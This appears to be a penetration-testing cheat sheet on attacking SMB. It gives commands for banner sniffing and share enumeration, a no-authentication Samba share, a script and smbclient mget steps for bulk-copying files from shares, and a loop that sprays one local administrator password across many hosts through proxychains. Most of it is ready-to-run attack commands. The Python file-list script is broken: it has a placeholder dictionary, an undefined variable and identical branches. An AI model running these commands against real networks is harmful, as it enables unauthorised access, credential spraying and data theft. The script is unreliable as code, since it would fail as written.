Enumerate SMB version for old versions of Samba (for security reasons modern clients will not initiate connection with legacy protocols in use):
$ sudo ngrep -i -d eth0 's.?a.?m.?b.?a.*[[:digit:]]' port 139
$ echo exit | smbclient -N -L 10.10.13.37 --option='client min protocol=LANMAN1'
Mounting
Mount:
$ sudo mount -t cifs '//127.0.0.1/Users' /mnt/smb -v -o user=snovvcrash,[pass='Passw0rd!']
Status:
$ mount -v | grep 'type cifs'
$ df -k -F cifs
Unmount:
$ sudo umount /mnt/smb
SMB Share with Null Authentication
Create an SMB share allowing null authentication.
Linux
/etc/samba/smb.conf
[global]
map to guest = bad user
server role = standalone server
usershare allow guests = yes
smb ports = 445
[smb]
comment = Samba
path = /srv/smb
guest ok = yes
read only = no
browsable = yes
force user = nobody
Generate a list of wanted files (Python) and copy them locally preserving original directory structure (PS):
gen_list.py
#!/usr/bin/env python3
# gen_list.py share.txt > files.txt
import sys
from pathlib import Path
from random import sample
stats = { ... }
with open(sys.argv[1]) as f:
files = f.read().splitlines()
for suffix, count in stats.items():
if count <= 1000:
arr = [line for line in office if Path(line).suffix == suffix]
else:
arr = [line for line in office if Path(line).suffix == suffix]
arr = sample(arr, 1000)
for a in arr:
print(a)
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
Local admin spray:
$ cat use_c.cmd
use c$
ls Windows
$ for srv in `cat 445.tcp`; do proxychains4 -q smbclient.py Administrator:'Passw0rd!'@$srv -inputfile use_c.cmd |& grep Windows && echo $i; done